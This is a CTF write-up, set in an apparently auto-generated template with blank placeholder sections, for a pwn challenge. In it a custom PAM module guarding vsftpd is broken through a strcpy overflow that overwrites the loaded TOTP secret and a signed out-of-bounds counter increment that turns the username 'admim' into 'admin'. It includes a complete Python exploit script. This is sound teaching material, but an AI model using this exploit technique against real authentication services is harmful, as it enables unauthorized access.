Бюро пропусков
Бюро пропусков
Platform: Avitoctf | Category: Pwn | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-23 | Status: Solved Techniques: pam_module_reversing, totp_secret_overwrite, signed_oob_increment, username_mutation, ftp_oracle_scanning
Summary
Task: A localhost vsftpd service authenticates through a custom PAM module using TOTP and per-user counters. Solution: Overwrite the loaded TOTP secret, then use a signed out-of-bounds counter increment to mutate an enrolled username into admin.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
avitoctf| ID:20260723_avitoctf_byuro_propuskhov - Tags: out_of_bounds_write, vsftpd, pam, signed_integer, stack_buffer_overflow, totp
- Indicators: unbounded strcpy into a 10-byte PAM stack buffer, signed int16 account ID indexes a 256-byte login counter, reserved admin username with no backing store record, PAM username is reused by vsftpd after authentication
- Source:
20260723_avitoctf_byuro_propuskhov.md
Foothold
Vulnerability / Misconfiguration
- Pam_module_reversing
- Totp_secret_overwrite
- Signed_oob_increment
- Username_mutation
- Ftp_oracle_scanning
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- pam_module_reversing
- totp_secret_overwrite
- signed_oob_increment
- username_mutation
- ftp_oracle_scanning
- Tags: out_of_bounds_write, vsftpd, pam, signed_integer, stack_buffer_overflow, totp
Original Writeup
<details><summary>Click to expand original content</summary>Description
Разведка медоедов обнаружила забытый служебный леток в Бюро пропусков. Через него пчёлы до сих пор обмениваются накладными по старому FTP, а после последних набегов прикрутили к шлюзу PAM и одноразовые коды. Каждый вход попадает в журнал посещений. За проходной находится закрытая администраторская сота с маршрутами медовых караванов. Помоги медоеду сойти за пчелу, получить пропуск и пробраться внутрь улья.
Initial SSH access as pamgate opened an interactive player shell inside the challenge container. The objective was to pass the custom PAM authentication used by the local FTP service and reach the administrator-only FTP root. No SSH password is needed by the exploit and none is reproduced here.
Reconnaissance
The relevant service was vsftpd listening on 127.0.0.1:30029. Its PAM stack loaded the supplied native module pam_pamgate.so. The initial user store contained:
guest:0:NBSWY3DPEHPK3PXQ
Authentication had two modes:
- If a username did not exist and the password was exactly
enroll, the module created a record, FTP directory, random Base32 secret,totp.txt, andstats.txt. - Existing users supplied a six-digit TOTP followed by data that was copied into a small local buffer before validation.
Names were limited to 1–32 alphanumeric, underscore, or hyphen characters. The exact names admin and guest were reserved. Consequently, path traversal and direct administrator enrollment were unavailable.
Reverse Engineering
The module SHA-256 was 537252fb4211dc37df239139e79e1cac58577d5e88a291d7b49f3e1331b1258c. Important recovered routines included pam_sm_authenticate at offset 0x195e, the TOTP routine at 0x1d40, name validation at 0x1ef9, record lookup at 0x2301, and enrollment at 0x2525.
Each parsed store record had this layout:
struct record {
char name[34];
int16_t id;
char secret[17];
};
The TOTP implementation was standard HMAC-SHA1 with a 30-second counter, dynamic truncation, and reduction modulo 1,000,000. It accepted only the current time step.
Two memory-safety errors combined into the exploit:
1. Loaded-secret overwrite
pam_sm_authenticate copied the FTP password with an unbounded strcpy into a 10-byte stack buffer. The parsed record followed it on the stack, with record.secret beginning at password offset 46. Appending the known guest secret at that offset replaced the selected account's secret before the module calculated its expected TOTP.
Thus, a current TOTP generated from NBSWY3DPEHPK3PXQ authenticated any existing record, regardless of that record's randomly generated enrollment secret.
2. Signed out-of-bounds counter increment
Password bytes 7 and 8 also replaced the record's little-endian signed 16-bit account ID. After a successful TOTP comparison, the module performed the equivalent of:
login_counter[record.id]++;
The allocation was only 256 bytes, but there was no bounds check. A negative ID therefore supplied a one-byte increment primitive before control returned to vsftpd.
PAM's canonical username was held in a nearby heap allocation. Enrolling admim provided a valid store record and a username one increment away from admin. If the OOB target landed on byte 4, the increment changed m (0x6d) to n (0x6e). Authentication had already succeeded as the existing admim record, but vsftpd subsequently consumed the mutated canonical PAM username, selected /srv/ftp/admin, and chrooted there.
Exploit
The distance between the counter allocation and PAM_USER varied with the runtime heap layout, so a hard-coded index was unreliable. Glibc allocations were 16-byte aligned, and only username byte 4 was useful, reducing the search to indices satisfying (index - 4) % 16 == 0.
For each candidate, the exact password layout was:
current_known_secret_TOTP || "X" || int16le(index) || "A" * 37 || known_secret
Candidates containing NUL, LF, or CR in the packed index were skipped because they would terminate or corrupt the FTP command. After each successful login, SIZE flag.txt acted as an oracle. A 213 reply identified an FTP session chrooted into the administrator directory; the file then had to be retrieved over that same connection.
The following is a faithful standalone version of the exploit used inside the player shell:
#!/usr/bin/env python3
import asyncio
import base64
import hashlib
import hmac
import re
import struct
import time
HOST, PORT = "127.0.0.1", 30029
SECRET = "NBSWY3DPEHPK3PXQ"
def make_pass(index):
raw = struct.pack("<h", index)
if any(c in raw for c in (0, 10, 13)):
return None
digest = hmac.new(
base64.b32decode(SECRET),
struct.pack(">Q", int(time.time()) // 30),
hashlib.sha1,
).digest()
offset = digest[-1] & 0x0f
code = (struct.unpack(">I", digest[offset:offset + 4])[0] & 0x7fffffff) % 1_000_000
return f"{code:06d}".encode() + b"X" + raw + b"A" * 37 + SECRET.encode()
async def line(reader):
return await asyncio.wait_for(reader.readline(), 5)
async def probe(index, semaphore):
if make_pass(index) is None:
return None
async with semaphore:
writer = None
try:
reader, writer = await asyncio.wait_for(
asyncio.open_connection(HOST, PORT), 5
)
await line(reader)
writer.write(b"USER admim\r\n")
await writer.drain()
await line(reader)
# Generate after semaphore acquisition to avoid an expired TOTP.
writer.write(b"PASS " + make_pass(index) + b"\r\n")
await writer.drain()
if not (await line(reader)).startswith(b"230"):
return None
writer.write(b"SIZE flag.txt\r\n")
await writer.drain()
if not (await line(reader)).startswith(b"213"):
return None
writer.write(b"PASV\r\n")
await writer.drain()
reply = await line(reader)
fields = [int(x) for x in re.search(rb"\(([^)]*)\)", reply).group(1).split(b",")]
data_reader, data_writer = await asyncio.open_connection(
HOST, fields[-2] * 256 + fields[-1]
)
writer.write(b"RETR flag.txt\r\n")
await writer.drain()
await line(reader)
result = (await asyncio.wait_for(data_reader.read(), 5)).strip()
data_writer.close()
await line(reader)
return index, result
except (OSError, TimeoutError, asyncio.TimeoutError):
return None
finally:
if writer:
writer.close()
async def main():
# Create the near-collision record; an already-existing record is harmless.
reader, writer = await asyncio.open_connection(HOST, PORT)
await line(reader)
writer.write(b"USER admim\r\n")
await writer.drain()
await line(reader)
writer.write(b"PASS enroll\r\n")
await writer.drain()
await line(reader)
writer.close()
semaphore = asyncio.Semaphore(4)
candidates = [i for i in range(-8192, -256) if (i - 4) % 16 == 0]
results = await asyncio.gather(*(probe(i, semaphore) for i in candidates))
for result in results:
if result is not None:
index, recovered = result
print("winning index:", index)
print("retrieved bytes:", recovered)
asyncio.run(main())
In the verified run, the winning signed index was -7004, encoded as a4 e4 in little-endian form. The oracle returned a file size of 213 bytes, after which passive-mode RETR flag.txt recovered the flag.
Verified output, with secret material redacted:
ENROLL 230
FOUND [(-7004, 'FLAG:avito{REDACTED}')]
Why Simpler Paths Failed
USER adminfailed because no administrator record existed in the store.- Enrollment rejected reserved names, so
admincould not be created directly. - Name validation rejected slashes, dots, colons, and other traversal syntax.
- Overwriting the authenticate frame's local username pointer affected only the module's stats-writing path; it did not call
pam_set_itemand therefore did not alter PAM's stored username. - Reading the root vsftpd process maps was denied under
ptrace_scope=1. PIE, NX, and the absence of an address leak made ROP unnecessarily difficult compared with the data-only primitive. - A local PAM harness produced a different heap delta, confirming that the winning counter index had to be discovered in the actual vsftpd process with the FTP oracle.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR